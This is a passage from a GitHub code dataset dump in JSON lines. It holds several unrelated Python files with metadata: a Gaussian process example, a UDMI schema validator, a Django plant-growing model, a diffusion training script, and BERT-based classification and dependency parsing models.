#model.optimize(fix_likelihood = True)\n return model\n\n# Define a model and print it\ndef main():\n print(' *** Create GP model ***')\n\n x_design = np.array([[-1.5], [0], [1]])\n y_design = fun_x(x_design).flatten()\n model = get_initial_model(x_design, y_design)\n print(model)\n\n x = np.linspace(-2.2, 2, 100)\n f = fun_x(x)\n m, v = model.calc_posterior(x.reshape(-1, 1), full_cov = False)\n\n x_new = np.array([[-0.5]])\n y_new = fun_x(x_new)[0][0]\n\n print('\\n *** Test fast computation of posterior with new observation (x_new, y_new) ***')\n\n model.set_x_new(x_new)\n model.set_y_new(y_new)\n print('(x_new, y_new) = ({}, {})'.format(x_new, y_new))\n\n m, v = model.calc_posterior_new(x.reshape(-1, 1))\n\n print('\\n *** Create plot ***')\n\n plt.style.use('seaborn-darkgrid')\n fig, ax = plt.subplots()\n ax.plot(x, f, label = 'f(x)') \n ax.scatter(x_design.flatten(), y_design, color = 'k', label = 'obs')\n ax.plot(x, m, color = 'k', linewidth = 0.5, label = 'GP mean')\n ax.scatter(x_new[0], [y_new], color = 'r', label = 'new')\n ax.fill_between(x, m - 2*np.sqrt(v), m + 2*np.sqrt(v), color = 'k', alpha = 0.1, label = 'GP $\\pm$ 2 std')\n ax.set_xlabel('x')\n ax.set_ylabel('f(x)')\n\n legend = ax.legend(loc='upper right', shadow=False, fontsize=10, frameon = True)\n legend.get_frame().set_facecolor('white')\n \n save_dir = 'C:\\\\Data\\\\tmp\\\\'\n figname = '1dGPfig.png'\n print('Save figure', save_dir+figname)\n fig.savefig(save_dir+figname)\n \n print('\\n done')\n\nif __name__ == \"__main__\":\n main()", "repo_name": "cagrell/HAL", "sub_path": "examples/test_GP.py", "file_name": "test_GP.py", "file_ext": "py", "file_size_in_byte": 2365, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sys.path.append", "line_number": 7, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 7, "usage_type": "attribute"}, {"api_name": "numpy.exp", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 17, "usage_type": "call"}, {"api_name": "HAL.GP.kern.kernel_Matern52", "line_number": 25, "usage_type": "call"}, {"api_name": "HAL.GP.model.GPmodel", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style.use", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 62, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "numpy.sqrt", "line_number": 68, "usage_type": "call"}]} +{"seq_id": "73577411208", "text": "import json\nimport os\nimport pytz\nimport datetime\nimport fastjsonschema\nimport requests\nimport udmi\n\nDEFAULT_UDMI_VERSION = 1\n\nVALIDATORS = {}\nSCHEMATA_DIR = os.path.join(os.path.dirname(udmi.__file__), \"schemata\", \"daq\", \"schemas\", \"udmi\")\n\n\ndef get_path(uri):\n parts = uri.split(\":\")\n return \"%s:%s/%s\" % (parts[0], SCHEMATA_DIR, parts[1])\n\n\ndef get_validator(name):\n validator = VALIDATORS.get(name)\n if validator is None:\n file_path = os.path.join(SCHEMATA_DIR, name)\n with open(file_path, \"r\") as f:\n schema = json.loads(f.read())\n handlers = {\"file\": get_path}\n validator = fastjsonschema.compile(schema, handlers=handlers)\n VALIDATORS[name] = validator\n return validator\n\n\nclass UDMIBase:\n schema = \"none\"\n\n def __init__(self, version):\n self.version = version\n self.validate()\n\n def __str__(self):\n return json.dumps(self.as_dict(), indent=4, sort_keys=True)\n\n def as_udmi(self):\n return json.dumps(self.as_dict(), indent=4, sort_keys=True)\n\n @classmethod\n def from_string(cls, s):\n return cls.from_dict(json.loads(s))\n\n @classmethod\n def from_dict(cls, d):\n return cls(**d)\n\n def as_dict(self):\n\n d = {}\n\n for name in self.__slots__:\n value = getattr(self, name, None)\n if value is not None:\n if hasattr(value, \"as_dict\"):\n d[name] = value.as_dict()\n elif type(value) in (str, int, float, list, dict, tuple, bool):\n d[name] = value\n else:\n raise Exception(\"Can't serialise this value %s for json\" % value)\n return d\n\n def validate(self):\n validator = get_validator(self.schema)\n validator(self.as_dict())\n\n @staticmethod\n def serialise_timestamp(timestamp):\n if isinstance(timestamp, str):\n return timestamp\n elif isinstance(timestamp, datetime.datetime):\n utc = pytz.utc\n if timestamp.tzinfo is None:\n dt = timestamp.replace(tzinfo=utc)\n else:\n dt = timestamp.astimezone(utc)\n as_iso = dt.isoformat(\"T\") + \"Z\"\n fixed = as_iso.replace(\"+00:00\", \"\")\n return fixed\n else:\n raise Exception(\"Can't make sense of this timestamp %s\" % timestamp)\n", "repo_name": "arupiot/pyudmi", "sub_path": "src/udmi/base.py", "file_name": "base.py", "file_ext": "py", "file_size_in_byte": 2386, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "os.path.join", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 12, "usage_type": "call"}, {"api_name": "udmi.__file__", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 25, "usage_type": "call"}, {"api_name": "fastjsonschema.compile", "line_number": 27, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 40, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 43, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 47, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 76, "usage_type": "attribute"}, {"api_name": "pytz.utc", "line_number": 77, "usage_type": "attribute"}]} +{"seq_id": "23706999593", "text": "from django.db import models\n\nfrom .growing_medium import GrowingMedium\nfrom .growing_component import GrowingComponent\n\n\nclass GrowingComposition(models.Model):\n \"\"\"\n Represents the relationship between a GrowingMedium and a GrowingMediumComponent\n and stores the ratio of that component in the medium.\n\n Fields:\n growing_medium (ForeignKey): A reference to the GrowingMedium model, representing\n the growing medium in which the component is used. This field cannot be blank\n or null and will cascade on deletion.\n growing_component (ForeignKey): A reference to the GrowingMediumComponent model,\n representing the component used in the growing medium. This field cannot be blank\n or null and will cascade on deletion.\n percentage (DecimalField): A decimal field representing the percentage of the\n growing_component in the growing_medium. This field cannot be blank or null,\n has a maximum of 5 digits and 2 decimal places.\n \"\"\"\n growing_medium = models.ForeignKey(\n GrowingMedium,\n on_delete=models.CASCADE,\n blank=False,\n null=False,\n help_text='Reference to the growing medium in which the component is used.'\n )\n growing_component = models.ForeignKey(\n GrowingComponent,\n on_delete=models.CASCADE,\n blank=False,\n null=False,\n help_text='Reference to the component used in the growing medium.'\n )\n percentage = models.DecimalField(\n max_digits=5,\n decimal_places=2,\n blank=False,\n null=False,\n help_text='Percentage of the component in the growing medium.'\n )\n\n def __str__(self):\n return f\"{self.growing_component} ({self.percentage}%) in {self.growing_medium}\"\n", "repo_name": "RafaelPuello/CyBotany", "sub_path": "apps/botany/models/growing_composition.py", "file_name": "growing_composition.py", "file_ext": "py", "file_size_in_byte": 1802, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.db.models.Model", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 23, "usage_type": "call"}, {"api_name": "growing_medium.GrowingMedium", "line_number": 24, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 23, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 25, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 25, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 30, "usage_type": "call"}, {"api_name": "growing_component.GrowingComponent", "line_number": 31, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 30, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 32, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 32, "usage_type": "name"}, {"api_name": "django.db.models.DecimalField", "line_number": 37, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 37, "usage_type": "name"}]} +{"seq_id": "20774563442", "text": "import numpy as np\nimport torch\nimport torch.nn.functional as F\nfrom PIL import Image\nfrom matplotlib import pyplot as plt\n\nfrom datasets import load_dataset, Dataset\nfrom torchvision import transforms\nfrom diffusers import DDPMScheduler, UNet2DModel, DDPMPipeline\n\nfrom utils import show_images, make_grid\nfrom create_data import create_dataset\n\nif torch.cuda.is_available():\n device = \"cuda\"\nelif torch.backends.mps.is_available():\n device = \"mps\"\nelse:\n device = \"cpu\"\n\n#dataset = load_dataset(\"./data/car_connection_picture\", split=\"train\")\ndataset = create_dataset(\"./data/thecarconnectionpicturedataset\")\ndataset_train = dataset[\"train\"]\n\nimage_size = 32\nbatch_size = 64\n\n# Define data augmentations\npreprocess = transforms.Compose(\n [\n transforms.Resize((image_size, image_size)), # Resize\n transforms.RandomHorizontalFlip(), # Randomly flip (data augmentation)\n transforms.ToTensor(), # Convert to tensor (0, 1)\n transforms.Normalize([0.5], [0.5]), # Map to (-1, 1)\n ]\n)\n\n\ndef transform(examples):\n images = [preprocess(image.convert(\"RGB\")) for image in examples[\"image\"]]\n return {\"images\": images}\n\n\ndataset_train.set_transform(transform)\n\n# Create a dataloader from the dataset to serve up the transformed images in batches\ndataloader_train = torch.utils.data.DataLoader(\n dataset_train, batch_size=batch_size, shuffle=True\n)\n\nnoise_scheduler = DDPMScheduler(num_train_timesteps=1000)\n\n# Create a model\nmodel = UNet2DModel(\n sample_size=image_size, # the target image resolution\n in_channels=3, # the number of input channels, 3 for RGB images\n out_channels=3, # the number of output channels\n layers_per_block=2, # how many ResNet layers to use per UNet block\n block_out_channels=(64, 128, 128, 256), # More channels -> more parameters\n down_block_types=(\n \"DownBlock2D\", # a regular ResNet downsampling block\n \"DownBlock2D\",\n \"AttnDownBlock2D\", # a ResNet downsampling block with spatial self-attention\n \"AttnDownBlock2D\",\n ),\n up_block_types=(\n \"AttnUpBlock2D\",\n \"AttnUpBlock2D\", # a ResNet upsampling block with spatial self-attention\n \"UpBlock2D\",\n \"UpBlock2D\", # a regular ResNet upsampling block\n ),\n)\nmodel.to(device)\n\n# Set the noise scheduler\nnoise_scheduler = DDPMScheduler(\n num_train_timesteps=1000, beta_schedule=\"squaredcos_cap_v2\"\n)\n\n# Training loop\noptimizer = torch.optim.AdamW(model.parameters(), lr=4e-4)\n\nlosses = []\n\nfor epoch in range(30):\n for step, batch in enumerate(dataloader_train):\n clean_images = batch[\"images\"].to(device)\n # Sample noise to add to the images\n noise = torch.randn(clean_images.shape).to(clean_images.device)\n bs = clean_images.shape[0]\n\n # Sample a random timestep for each image\n timesteps = torch.randint(\n 0, noise_scheduler.num_train_timesteps, (bs,), device=clean_images.device\n ).long()\n\n # Add noise to the clean images according to the noise magnitude at each timestep\n noisy_images = noise_scheduler.add_noise(clean_images, noise, timesteps)\n\n # Get the model prediction\n noise_pred = model(noisy_images, timesteps, return_dict=False)[0]\n\n # Calculate the loss\n loss = F.mse_loss(noise_pred, noise)\n loss.backward(loss)\n losses.append(loss.item())\n\n # Update the model parameters with the optimizer\n optimizer.step()\n optimizer.zero_grad()\n\n loss_last_epoch = sum(losses[-len(dataloader_train):]) / len(dataloader_train)\n print(f\"Epoch:{epoch+1}, loss: {loss_last_epoch}\")\n\n\nfig, axs = plt.subplots(1, 2, figsize=(12, 4))\naxs[0].plot(losses)\naxs[1].plot(np.log(losses))\nfig.savefig(\"loss.png\")\n\nimage_pipe = DDPMPipeline(unet=model, scheduler=noise_scheduler)\n\nout = image_pipe(8)\nimg = out.images\nmake_grid(img).save(\"out.png\")\n", "repo_name": "fabianmax/intern-carfusion", "sub_path": "unconditioned_diffusion.py", "file_name": "unconditioned_diffusion.py", "file_ext": "py", "file_size_in_byte": 3896, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "torch.cuda.is_available", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 14, "usage_type": "attribute"}, {"api_name": "torch.backends.mps.is_available", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.backends", "line_number": 16, "usage_type": "attribute"}, {"api_name": "create_data.create_dataset", "line_number": 22, "usage_type": "call"}, {"api_name": "torchvision.transforms.Compose", "line_number": 29, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 29, "usage_type": "name"}, {"api_name": "torchvision.transforms.Resize", "line_number": 31, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 31, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomHorizontalFlip", "line_number": 32, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 32, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 33, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 33, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 34, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 34, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 47, "usage_type": "attribute"}, {"api_name": "diffusers.DDPMScheduler", "line_number": 51, "usage_type": "call"}, {"api_name": "diffusers.UNet2DModel", "line_number": 54, "usage_type": "call"}, {"api_name": "diffusers.DDPMScheduler", "line_number": 76, "usage_type": "call"}, {"api_name": "torch.optim.AdamW", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 81, "usage_type": "attribute"}, {"api_name": "torch.randn", "line_number": 89, "usage_type": "call"}, {"api_name": "torch.randint", "line_number": 93, "usage_type": "call"}, {"api_name": "torch.nn.functional.mse_loss", "line_number": 104, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 104, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 116, "usage_type": "name"}, {"api_name": "numpy.log", "line_number": 118, "usage_type": "call"}, {"api_name": "diffusers.DDPMPipeline", "line_number": 121, "usage_type": "call"}, {"api_name": "utils.make_grid", "line_number": 125, "usage_type": "call"}]} +{"seq_id": "73315920008", "text": "import copy\nfrom dataclasses import dataclass\nfrom typing import Any, Dict, List, Optional, Tuple\n\nimport numpy\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom allennlp.modules import FeedForward, InputVariationalDropout\nfrom allennlp.modules.matrix_attention.bilinear_matrix_attention import \\\n BilinearMatrixAttention\nfrom allennlp.nn import Activation\nfrom allennlp.nn.chu_liu_edmonds import decode_mst\nfrom allennlp.nn.util import (get_device_of,\n get_lengths_from_binary_sequence_mask,\n get_range_vector, masked_log_softmax)\nfrom torch import Tensor\n\nfrom .component import BaseModel, BaseModelConfig, BertInput, PoolDecoderConfig, MeanPoolDecoderConfig\n\n\n@dataclass\nclass SeqClassConfig(BaseModelConfig):\n num_labels: int = -1\n\n def build(self):\n return SeqClass(self)\n\n\nclass SeqClass(BaseModel):\n def __init__(self, config: SeqClassConfig):\n assert isinstance(config, SeqClassConfig)\n assert (isinstance(config.decoder_config, PoolDecoderConfig)\n or isinstance(config.decoder_config, MeanPoolDecoderConfig))\n super().__init__(config)\n self.config = config\n self.classifier = nn.Linear(config.decoder_config.output_dim,\n config.num_labels)\n\n def forward(self,\n token: Tensor,\n token_type: Tensor,\n position: Tensor,\n mask: Tensor,\n label: Tensor,\n ex_lang: Tensor,\n lang_key: Optional[str] = None):\n inputs = BertInput(token=token,\n token_type=token_type,\n position=position,\n mask=mask,\n lang_key=lang_key)\n ctx = self.embed(inputs)\n #ctx = ctx.cpu()\n logits = F.log_softmax(self.classifier(ctx), dim=-1)\n loss = F.nll_loss(logits, label)\n self.evaluator.add(label, logits)\n return loss\n\n\n@dataclass\nclass SeqLabelConfig(BaseModelConfig):\n num_labels: int = -1\n label_pad_idx: int = -1\n\n def build(self):\n return SeqLabel(self)\n\n\nclass SeqLabel(BaseModel):\n def __init__(self, config: SeqLabelConfig):\n assert isinstance(config, SeqLabelConfig)\n super().__init__(config)\n self.config = config\n self.classifier = nn.Linear(config.decoder_config.output_dim,\n config.num_labels)\n\n def forward(self,\n token: Tensor,\n token_type: Tensor,\n position: Tensor,\n mask: Tensor,\n label: Tensor,\n ex_lang: Tensor,\n lang_key: Optional[str] = None):\n inputs = BertInput(token=token,\n token_type=token_type,\n position=position,\n mask=mask,\n lang_key=lang_key)\n ctx = self.embed(inputs)\n #ctx = ctx.cpu()\n logits = F.log_softmax(self.classifier(ctx), dim=-1)\n loss = F.nll_loss(logits.view(-1, self.config.num_labels),\n label.view(-1),\n ignore_index=self.config.label_pad_idx)\n self.evaluator.add(label, logits)\n return loss\n\n# similar to above, but with separate top-level classification layer\n@dataclass\nclass SeqSepTopClassConfig(BaseModelConfig):\n num_labels: int = -1\n\n def build(self):\n return SeqSepTopClass(self)\n\n\nclass SeqSepTopClass(BaseModel):\n def __init__(self, config: SeqSepTopClassConfig):\n assert isinstance(config, SeqSepTopClassConfig)\n assert (isinstance(config.decoder_config, PoolDecoderConfig)\n or isinstance(config.decoder_config, MeanPoolDecoderConfig))\n super().__init__(config)\n self.config = config\n self.classifier = {}\n\n def forward(self,\n token: Tensor,\n token_type: Tensor,\n position: Tensor,\n mask: Tensor,\n label: Tensor,\n ex_lang: Tensor,\n lang_key: Optional[str] = None):\n inputs = BertInput(token=token,\n token_type=token_type,\n position=position,\n mask=mask,\n lang_key=lang_key)\n ctx = self.embed(inputs)\n ctx = ctx.cpu()\n if ex_lang.item() not in self.classifier.keys():\n self.classifier[ex_lang.item()] = nn.Linear(self.config.decoder_config.output_dim,\n self.config.num_labels)\n logits = F.log_softmax(self.classifier[ex_lang.item()](ctx), dim=-1)\n loss = F.nll_loss(logits, label.cpu())\n self.evaluator.add(label.cpu(), logits)\n return loss\n\n\n@dataclass\nclass SeqSepTopLabelConfig(BaseModelConfig):\n num_labels: int = -1\n label_pad_idx: int = -1\n\n def build(self):\n return SeqSepTopLabel(self)\n\n\nclass SeqSepTopLabel(BaseModel):\n def __init__(self, config: SeqSepTopLabelConfig):\n assert isinstance(config, SeqSepTopLabelConfig)\n super().__init__(config)\n self.config = config\n self.classifier = {}\n\n def forward(self,\n token: Tensor,\n token_type: Tensor,\n position: Tensor,\n mask: Tensor,\n label: Tensor,\n ex_lang: Tensor,\n lang_key: Optional[str] = None):\n inputs = BertInput(token=token,\n token_type=token_type,\n position=position,\n mask=mask,\n lang_key=lang_key)\n ctx = self.embed(inputs)\n ctx = ctx.cpu()\n if ex_lang.item() not in self.classifier.keys():\n self.classifier[ex_lang.item()] = nn.Linear(self.config.decoder_config.output_dim,\n self.config.num_labels)\n logits = F.log_softmax(self.classifier[ex_lang.item()](ctx), dim=-1)\n loss = F.nll_loss(logits.view(-1, self.config.num_labels),\n label.view(-1).cpu(),\n ignore_index=self.config.label_pad_idx)\n self.evaluator.add(label.cpu(), logits)\n return loss\n\n\n@dataclass\nclass BaselineSeqClassConfig(BaseModelConfig):\n num_labels: int = -1\n\n def build(self):\n return BaselineSeqClass(self)\n\n\nclass BaselineSeqClass(BaseModel):\n def __init__(self, config: BaselineSeqClassConfig):\n assert isinstance(config, BaselineSeqClassConfig)\n assert (isinstance(config.decoder_config, PoolDecoderConfig)\n or isinstance(config.decoder_config, MeanPoolDecoderConfig))\n super().__init__(config)\n self.config = config\n self.embedding = nn.EmbeddingBag(119547, 768, mode='mean')\n self.classifier = nn.Linear(config.decoder_config.output_dim,\n config.num_labels)\n initrange = 0.1\n self.embedding.weight.data.uniform_(-initrange, initrange)\n\n def forward(self,\n token: Tensor,\n token_type: Tensor,\n position: Tensor,\n mask: Tensor,\n label: Tensor,\n ex_lang: Tensor,\n lang_key: Optional[str] = None):\n ctx = self.embedding(token)\n #ctx = ctx.cpu()\n logits = F.log_softmax(self.classifier(ctx), dim=-1)\n loss = F.nll_loss(logits, label)\n self.evaluator.add(label, logits)\n return loss\n\n\n@dataclass\nclass BaselineSeqLabelConfig(BaseModelConfig):\n num_labels: int = -1\n label_pad_idx: int = -1\n\n def build(self):\n return BaselineSeqLabel(self)\n\n\nclass BaselineSeqLabel(BaseModel):\n def __init__(self, config: BaselineSeqLabelConfig):\n assert isinstance(config, BaselineSeqLabelConfig)\n super().__init__(config)\n self.config = config\n self.embedding = nn.EmbeddingBag(119547, 768, mode='mean')\n self.classifier = nn.Linear(config.decoder_config.output_dim,\n config.num_labels)\n initrange = 0.1\n self.embedding.weight.data.uniform_(-initrange, initrange)\n\n def forward(self,\n token: Tensor,\n token_type: Tensor,\n position: Tensor,\n mask: Tensor,\n label: Tensor,\n ex_lang: Tensor,\n lang_key: Optional[str] = None):\n ctx = self.embedding(inputs)\n #ctx = ctx.cpu()\n logits = F.log_softmax(self.classifier(ctx), dim=-1)\n loss = F.nll_loss(logits.view(-1, self.config.num_labels),\n label.view(-1),\n ignore_index=self.config.label_pad_idx)\n self.evaluator.add(label, logits)\n return loss\n\n\n@dataclass\nclass ParsingConfig(BaseModelConfig):\n num_labels: int = -1\n num_pos: int = -1\n use_pos: bool = False\n pos_dim: int = 100\n tag_dim: int = 128\n arc_dim: int = 512\n use_mst_decoding_for_validation: bool = True\n dropout: float = 0.33\n\n def build(self):\n return BiaffineDependencyParser(self)\n\n\nclass BiaffineDependencyParser(BaseModel):\n \"\"\"\n This dependency parser follows the model of\n ` Deep Biaffine Attention for Neural Dependency Parsing (Dozat and Manning, 2016)\n <https://arxiv.org/abs/1611.01734>`_ . (Based on AllenNLP)\n \"\"\"\n def __init__(self, config: ParsingConfig):\n assert isinstance(config, ParsingConfig)\n super().__init__(config)\n self.config = config\n encoder_dim = config.decoder_config.output_dim\n\n if self.config.use_pos:\n self.pos_embedding = nn.Embedding(config.num_pos,\n config.pos_dim,\n padding_idx=0)\n encoder_dim += config.pos_dim\n\n self.head_arc_feedforward = FeedForward(encoder_dim, 1, config.arc_dim,\n Activation.by_name(\"elu\")())\n self.child_arc_feedforward = copy.deepcopy(self.head_arc_feedforward)\n\n self.arc_attention = BilinearMatrixAttention(config.arc_dim,\n config.arc_dim,\n use_input_biases=True)\n\n self.head_tag_feedforward = FeedForward(encoder_dim, 1, config.tag_dim,\n Activation.by_name(\"elu\")())\n self.child_tag_feedforward = copy.deepcopy(self.head_tag_feedforward)\n\n self.tag_bilinear = torch.nn.modules.Bilinear(config.tag_dim,\n config.tag_dim,\n config.num_labels)\n self.dropout = InputVariationalDropout(config.dropout)\n self.use_mst_decoding_for_validation = config.use_mst_decoding_for_validation\n\n def forward(self,\n input_ids: Tensor,\n pos_ids: Tensor,\n segment_ids: Tensor,\n position: Tensor,\n input_mask: Tensor,\n nonword_mask: Tensor,\n head_tags: Tensor,\n head_indices: Tensor,\n lang_key: Optional[str] = None):\n \"\"\"\n Parameters\n ----------\n input_ids: torch.LongTensor, required. Has shape ``(batch_size, sequence_length)``.\n input_mask: torch.LongTensor, required. Has shape ``(batch_size, sequence_length)``.\n nonword_mask: torch.LongTensor, required. Has shape ``(batch_size, sequence_length)``.\n segment_ids: torch.LongTensor, required. Has shape ``(batch_size, sequence_length)``.\n head_tags : torch.LongTensor, optional (default = None)\n A torch tensor representing the sequence of integer gold class labels for the arcs\n in the dependency parse. Has shape ``(batch_size, sequence_length)``.\n head_indices : torch.LongTensor, optional (default = None)\n A torch tensor representing the sequence of integer indices denoting the parent of every\n word in the dependency parse. Has shape ``(batch_size, sequence_length)``.\n \"\"\"\n inputs = BertInput(token=input_ids,\n token_type=segment_ids,\n position=position,\n mask=input_mask,\n lang_key=lang_key)\n encoded_text = self.embed(inputs)\n\n if self.config.use_pos:\n encoded_pos = self.decoder.dropout(self.pos_embedding(pos_ids))\n encoded_text = torch.cat((encoded_text, encoded_pos), dim=-1)\n\n batch_size, _, encoding_dim = encoded_text.size()\n\n float_mask = nonword_mask.float()\n\n # shape (batch_size, sequence_length, arc_dim)\n head_arc_representation = self.dropout(\n self.head_arc_feedforward(encoded_text))\n child_arc_representation = self.dropout(\n self.child_arc_feedforward(encoded_text))\n\n # shape (batch_size, sequence_length, tag_dim)\n head_tag_representation = self.dropout(\n self.head_tag_feedforward(encoded_text))\n child_tag_representation = self.dropout(\n self.child_tag_feedforward(encoded_text))\n # shape (batch_size, sequence_length, sequence_length)\n attended_arcs = self.arc_attention(head_arc_representation,\n child_arc_representation)\n\n minus_inf = -1e8\n minus_mask = (1 - float_mask) * minus_inf\n attended_arcs = attended_arcs + minus_mask.unsqueeze(\n 2) + minus_mask.unsqueeze(1)\n\n if self.training or not self.use_mst_decoding_for_validation:\n predicted_heads, predicted_head_tags = self._greedy_decode(\n head_tag_representation, child_tag_representation,\n attended_arcs, nonword_mask)\n else:\n lengths = input_mask.data.sum(dim=1).long().cpu().numpy()\n predicted_heads, predicted_head_tags = self._mst_decode(\n head_tag_representation, child_tag_representation,\n attended_arcs, nonword_mask, lengths)\n\n arc_nll, tag_nll = self._construct_loss(\n head_tag_representation=head_tag_representation,\n child_tag_representation=child_tag_representation,\n attended_arcs=attended_arcs,\n head_indices=head_indices,\n head_tags=head_tags,\n mask=nonword_mask)\n loss = arc_nll + tag_nll\n\n # We calculate attatchment scores for the whole sentence\n # but excluding the symbolic ROOT token at the start,\n # which is why we start from the second element in the sequence.\n self.evaluator.add(head_indices[:, 1:], head_tags[:, 1:],\n predicted_heads[:, 1:], predicted_head_tags[:, 1:],\n nonword_mask[:, 1:])\n return loss\n\n def _construct_loss(self, head_tag_representation: torch.Tensor,\n child_tag_representation: torch.Tensor,\n attended_arcs: torch.Tensor,\n head_indices: torch.Tensor, head_tags: torch.Tensor,\n mask: torch.Tensor\n ) -> Tuple[torch.Tensor, torch.Tensor]:\n \"\"\"\n Computes the arc and tag loss for a sequence given gold head indices and tags.\n\n Parameters\n ----------\n head_tag_representation : ``torch.Tensor``, required.\n A tensor of shape (batch_size, sequence_length, tag_dim),\n which will be used to generate predictions for the dependency tags\n for the given arcs.\n child_tag_representation : ``torch.Tensor``, required\n A tensor of shape (batch_size, sequence_length, tag_dim),\n which will be used to generate predictions for the dependency tags\n for the given arcs.\n attended_arcs : ``torch.Tensor``, required.\n A tensor of shape (batch_size, sequence_length, sequence_length) used to generate\n a distribution over attachments of a given word to all other words.\n head_indices : ``torch.Tensor``, required.\n A tensor of shape (batch_size, sequence_length).\n The indices of the heads for every word.\n head_tags : ``torch.Tensor``, required.\n A tensor of shape (batch_size, sequence_length).\n The dependency labels of the heads for every word.\n mask : ``torch.Tensor``, required.\n A mask of shape (batch_size, sequence_length), denoting unpadded\n elements in the sequence.\n\n Returns\n -------\n arc_nll : ``torch.Tensor``, required.\n The negative log likelihood from the arc loss.\n tag_nll : ``torch.Tensor``, required.\n The negative log likelihood from the arc tag loss.\n \"\"\"\n float_mask = mask.float()\n batch_size, sequence_length, _ = attended_arcs.size()\n # shape (batch_size, 1)\n range_vector = get_range_vector(\n batch_size, get_device_of(attended_arcs)).unsqueeze(1)\n # shape (batch_size, sequence_length, sequence_length)\n normalised_arc_logits = masked_log_softmax(\n attended_arcs,\n mask) * float_mask.unsqueeze(2) * float_mask.unsqueeze(1)\n\n # shape (batch_size, sequence_length, num_head_tags)\n head_tag_logits = self._get_head_tags(head_tag_representation,\n child_tag_representation,\n head_indices)\n normalised_head_tag_logits = masked_log_softmax(\n head_tag_logits, mask.unsqueeze(-1)) * float_mask.unsqueeze(-1)\n # index matrix with shape (batch, sequence_length)\n timestep_index = get_range_vector(sequence_length,\n get_device_of(attended_arcs))\n child_index = timestep_index.view(1, sequence_length).expand(\n batch_size, sequence_length).long()\n # shape (batch_size, sequence_length)\n arc_loss = normalised_arc_logits[range_vector, child_index,\n head_indices]\n tag_loss = normalised_head_tag_logits[range_vector, child_index,\n head_tags]\n # We don't care about predictions for the symbolic ROOT token's head,\n # so we remove it from the loss.\n arc_loss = arc_loss[:, 1:]\n tag_loss = tag_loss[:, 1:]\n\n # The number of valid positions is equal to the number of unmasked elements minus\n # 1 per sequence in the batch, to account for the symbolic HEAD token.\n valid_positions = mask.sum() - batch_size\n\n arc_nll = -arc_loss.sum() / valid_positions.float()\n tag_nll = -tag_loss.sum() / valid_positions.float()\n return arc_nll, tag_nll\n\n def _greedy_decode(self, head_tag_representation: torch.Tensor,\n child_tag_representation: torch.Tensor,\n attended_arcs: torch.Tensor, mask: torch.Tensor\n ) -> Tuple[torch.Tensor, torch.Tensor]:\n \"\"\"\n Decodes the head and head tag predictions by decoding the unlabeled arcs\n independently for each word and then again, predicting the head tags of\n these greedily chosen arcs independently. Note that this method of decoding\n is not guaranteed to produce trees (i.e. there maybe be multiple roots,\n or cycles when children are attached to their parents).\n\n Parameters\n ----------\n head_tag_representation : ``torch.Tensor``, required.\n A tensor of shape (batch_size, sequence_length, tag_dim),\n which will be used to generate predictions for the dependency tags\n for the given arcs.\n child_tag_representation : ``torch.Tensor``, required\n A tensor of shape (batch_size, sequence_length, tag_dim),\n which will be used to generate predictions for the dependency tags\n for the given arcs.\n attended_arcs : ``torch.Tensor``, required.\n A tensor of shape (batch_size, sequence_length, sequence_length) used to generate\n a distribution over 